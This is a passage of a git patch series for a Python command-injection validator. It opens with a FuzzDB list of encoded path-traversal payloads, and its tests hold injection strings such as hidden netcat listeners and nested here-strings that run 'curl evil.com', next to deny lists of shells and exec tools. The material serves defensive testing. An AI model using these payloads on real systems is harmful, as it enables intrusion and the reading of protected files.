+/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c0%af{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae%c1%9c{FILE} +/%c0%ae%c0%ae/{FILE} +/%c0%ae%c0%ae\{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af..%c0%af{FILE} +/..%c0%af..%c0%af{FILE} +/..%c0%af{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c..%c1%9c{FILE} +/..%c1%9c..%c1%9c{FILE} +/..%c1%9c{FILE} +//..\/..\/..\/..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\/..\{FILE} +//..\/..\/..\/..\{FILE} +//..\/..\/..\{FILE} +//..\/..\{FILE} +//..\{FILE} +/.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//.//..//{FILE} +/.//..//.//..//.//..//{FILE} +/.//..//.//..//{FILE} +/.//..//{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE} +/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE} +/./.././.././.././.././.././.././.././../{FILE} +/./.././.././.././.././.././.././../{FILE} +/./.././.././.././.././.././../{FILE} +/./.././.././.././.././../{FILE} +/./.././.././.././../{FILE} +/./.././.././../{FILE} +/./.././../{FILE} +/./../{FILE} +/./\/././\/././\/././\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/././\/./{FILE} +/./\/././\/././\/././\/./{FILE} +/./\/././\/././\/./{FILE} +/./\/././\/./{FILE} +/./\/./{FILE} +/..///..///..///..///..///..///..///..///{FILE} +/..///..///..///..///..///..///..///{FILE} +/..///..///..///..///..///..///{FILE} +/..///..///..///..///..///{FILE} +/..///..///..///..///{FILE} +/..///..///..///{FILE} +/..///..///{FILE} +/..//..//..//..//..//..//..//..//{FILE} +/..//..//..//..//..//..//..//{FILE} +/..//..//..//..//..//..//{FILE} +/..//..//..//..//..//{FILE} +/..//..//..//..//{FILE} +/..//..//..//{FILE} +/..//..//{FILE} +/..//{FILE} +/../..///{FILE} +/../..//..///{FILE} +/../..//../..///{FILE} +/../..//../..//..///{FILE} +/../..//../..//../..///{FILE} +/../..//../..//../..//..///{FILE} +/../..//../..//../..//../..///{FILE} +/../..//../..//../..//../..//{FILE} +/../..//../..//../..//../{FILE} +/../..//../..//../..//{FILE} +/../..//../..//../{FILE} +/../..//../..//{FILE} +/../..//../{FILE} +/../..//{FILE} +/.../.../.../.../.../.../.../.../{FILE} +/.../.../.../.../.../.../.../{FILE} +/.../.../.../.../.../.../{FILE} +/.../.../.../.../.../{FILE} +/.../.../.../.../{FILE} +/.../.../.../{FILE} +/.../.../{FILE} +/.../{FILE} +/..../..../..../..../..../..../..../..../{FILE} +/..../..../..../..../..../..../..../{FILE} +/..../..../..../..../..../..../{FILE} +/..../..../..../..../..../{FILE} +/..../..../..../..../{FILE} +/..../..../..../{FILE} +/..../..../{FILE} +/..../{FILE} +/........................................................................../../../../../../../../{FILE} +/........................................................................../../../../../../../{FILE} +/........................................................................../../../../../../{FILE} +/........................................................................../../../../../{FILE} +/........................................................................../../../../{FILE} +/........................................................................../../../{FILE} +/........................................................................../../{FILE} +/........................................................................../{FILE} +/..........................................................................\..\..\..\..\..\..\..\{FILE} +/..........................................................................\..\..\..\..\..\..\{FILE} +/..........................................................................\..\..\..\..\..\{FILE} +/..........................................................................\..\..\..\..\{FILE} +/..........................................................................\..\..\..\{FILE} +/..........................................................................\..\..\{FILE} +/..........................................................................\..\{FILE} +/..........................................................................\{FILE} +/....\....\....\....\....\....\....\....\{FILE} +/....\....\....\....\....\....\....\{FILE} +/....\....\....\....\....\....\{FILE} +/....\....\....\....\....\{FILE} +/....\....\....\....\{FILE} +/....\....\....\{FILE} +/....\....\{FILE} +/....\{FILE} +/...\...\...\...\...\...\...\...\{FILE} +/...\...\...\...\...\...\...\{FILE} +/...\...\...\...\...\...\{FILE} +/...\...\...\...\...\{FILE} +/...\...\...\...\{FILE} +/...\...\...\{FILE} +/...\...\{FILE} +/...\{FILE} +/..\..\\..\..\\..\..\\..\..\\{FILE} +/..\..\\..\..\\..\..\\..\..\\\{FILE} +/..\..\\..\..\\..\..\\..\{FILE} +/..\..\\..\..\\..\..\\..\\\{FILE} +/..\..\\..\..\\..\..\\{FILE} +/..\..\\..\..\\..\..\\\{FILE} +/..\..\\..\..\\..\{FILE} +/..\..\\..\..\\..\\\{FILE} +/..\..\\..\..\\{FILE} +/..\..\\..\..\\\{FILE} +/..\..\\..\{FILE} +/..\..\\..\\\{FILE} +/..\..\\{FILE} +/..\..\\\{FILE} +/..\\..\\..\\..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\..\\{FILE} +/..\\..\\..\\..\\{FILE} +/..\\..\\..\\{FILE} +/..\\..\\{FILE} +/..\\{FILE} +/..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\..\\\{FILE} +/..\\\..\\\..\\\{FILE} +/..\\\..\\\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\.\/\.\{FILE} +/.\/\.\.\/\.\{FILE} +/.\/\.\{FILE} +/.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\.\..\{FILE} +/.\..\.\..\.\..\{FILE} +/.\..\.\..\{FILE} +/.\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE} +/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\.\\..\\{FILE} +/.\\..\\.\\..\\{FILE} +/.\\..\\{FILE} +/\../{FILE} +/\../\../{FILE} +/\../\../\../{FILE} +/\../\../\../\../{FILE} +/\../\../\../\../\../{FILE} +/\../\../\../\../\../\../{FILE} +/\../\../\../\../\../\../\../{FILE} +/\../\../\../\../\../\../\../\../{FILE} +/..%u2215{FILE} +/..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} +/..%u2216{FILE} +/..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} +/..%uEFC8{FILE} +/..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} +/..%uF025{FILE} +/..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} +/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\{FILE} +/%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} +/%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} +/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} +/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} +/%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} \ No newline at end of file From d5d9974b3da4b51b7fafdd1821729503f6f0518f Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 15 Feb 2024 13:45:49 -0800 Subject: [PATCH 06/19] Convert to Pytest. Add shell expansion tests, nested shell syntax test and FuzzDB tests --- tests/{ => safe_command}/fuzzdb/command-injection-template.txt | 0 .../fuzzdb/traversals-8-deep-exotic-encoding.txt | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename tests/{ => safe_command}/fuzzdb/command-injection-template.txt (100%) rename tests/{ => safe_command}/fuzzdb/traversals-8-deep-exotic-encoding.txt (100%) diff --git a/tests/fuzzdb/command-injection-template.txt b/tests/safe_command/fuzzdb/command-injection-template.txt similarity index 100% rename from tests/fuzzdb/command-injection-template.txt rename to tests/safe_command/fuzzdb/command-injection-template.txt diff --git a/tests/fuzzdb/traversals-8-deep-exotic-encoding.txt b/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt similarity index 100% rename from tests/fuzzdb/traversals-8-deep-exotic-encoding.txt rename to tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt From 73d9c3ccc997bd0627cbaafefabc59f07a10e10c Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 15 Feb 2024 15:23:27 -0800 Subject: [PATCH 07/19] Handle all shell redirection operators --- src/security/safe_command/api.py | 31 ++++++++++++++++++++-------- tests/safe_command/test_injection.py | 7 +++++++ 2 files changed, 29 insertions(+), 9 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 530a3b7..71dc9dc 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -39,7 +39,7 @@ ("mount", "symlink", "block_device", "char_device", "fifo", "socket")) BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) -BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n", "<>")) +BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) BANNED_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", @@ -53,6 +53,7 @@ SHELL_VARIABLE_REGEX = re_compile(r'(\$[a-zA-Z_][a-zA-Z0-9_]*)') SHELL_EXPANSION_REGEX = re_compile(r'(([\$\S])*(\{[^{}]+?\})[^\s\$]*)') +REDIRECTION_OPERATORS_REGEX = re_compile(r'(?!<\()(<>?&?-?(?:\d+|\|)?|<>)') def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: @@ -175,31 +176,43 @@ def _shell_expand(command: str) -> str: return command -def _recursive_shlex_split(command_str: str) -> Iterator[str]: - for cmd_part in shlex.split(command_str, comments=True): +def _space_redirects(command: str) -> str: + # Space out redirect operators to avoid them being combined with the next or previous command part when splitting + return REDIRECTION_OPERATORS_REGEX.sub(r' \1 ', command) + + +def _recursive_shlex_split(command: str) -> Iterator[str]: + for cmd_part in shlex.split(command, comments=True): yield cmd_part + # Strip either type of quotes but not both + if cmd_part.startswith("'") and cmd_part.endswith("'"): + cmd_part = cmd_part.strip("'") + elif cmd_part.startswith('"') and cmd_part.endswith('"'): + cmd_part = cmd_part.strip('"') + if '"' in cmd_part or "'" in cmd_part or " " in cmd_part: - yield from _recursive_shlex_split(cmd_part.strip("\"\''")) + yield from _recursive_shlex_split(cmd_part) -def _parse_command(command: Union[str, list]) -> Optional[Tuple[str, List[str]]]: +def _parse_command(command: ValidCommand) -> Optional[Tuple[str, List[str]]]: if isinstance(command, str): if not command.strip(): # Empty commands are safe return None - expanded_command = _shell_expand(command) + command_str = command elif isinstance(command, list): if not command or command == [""]: # Empty commands are safe return None - - expanded_command = _shell_expand(" ".join(command)) + + command_str = " ".join(command) else: raise TypeError("Command must be a str or a list") - + spaced_command = _space_redirects(command_str) + expanded_command = _shell_expand(spaced_command) parsed_command = list(_recursive_shlex_split(expanded_command)) return expanded_command, parsed_command diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index f06ec65..a9c2f56 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -281,6 +281,7 @@ def _do_test_command(self, command, expected_result, restrictions, original_func "sh -c 'whoami'", "find . -name '*.txt' -exec cat {} + ", "find . -name '*.txt' ${BADKEY:--exec} cat {} + ", + ["ls", "-l;", "whoami"], ["ls", "-l", "&&", "whoami"], @@ -361,6 +362,9 @@ def test_check_sensitive_files(self, command, original_func, setup_teardown): "$IFS nc${IFS}-l -p 1234", "find . -name '*' -exec \"${IFS}/usr/bin/cu*l${IFS}\" {} + ", "sh -c 'sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" '", + "sh <<< 'bash <<< \"curl evil.com\"'", + "sh <<< 'bash<<< \"curl evil.com\"'", + "sh<<<'bash<<<\"curl evil.com\"'", ["ls", "-l", "/usr/bin/nc"], ["ls", "-l", "/usr/bin/netcat"], @@ -385,6 +389,9 @@ def test_check_sensitive_files(self, command, original_func, setup_teardown): ["$IFS nc${IFS}", "-p", "1234"], ["find", ".", "-name", "'*'", "-exec", "\"${IFS}/usr/bin/cu*l${IFS}\"", "{}", "+"], ["sh", "-c", "sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" "], + ["sh", "<<<", "'bash <<< \"curl evil.com\"'"], + ["sh", "<<<", "'bash<<<\"curl evil.com\"'"], + ["sh<<<'bash<<<\"curl evil.com\"'"] ] From 6a181378b1922f89ede5eba8aa96744f79d64c74 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 15 Feb 2024 21:28:38 -0800 Subject: [PATCH 08/19] handle arithmetic expansion of bracket paramters and nested expansions --- src/security/safe_command/api.py | 156 +++++++++++++++-------- tests/safe_command/test_injection.py | 178 +++++++++++++++++---------- 2 files changed, 219 insertions(+), 115 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 71dc9dc..fa618bd 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -40,7 +40,7 @@ BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) -BANNED_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) +BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", "bash", "sh", "zsh", "csh", "rsh", "tcsh", "ksh", "dash", "fish", "powershell", "pwsh", "pwsh-preview", "pwsh-lts", @@ -50,10 +50,9 @@ "systemd", "systemd-run" )) 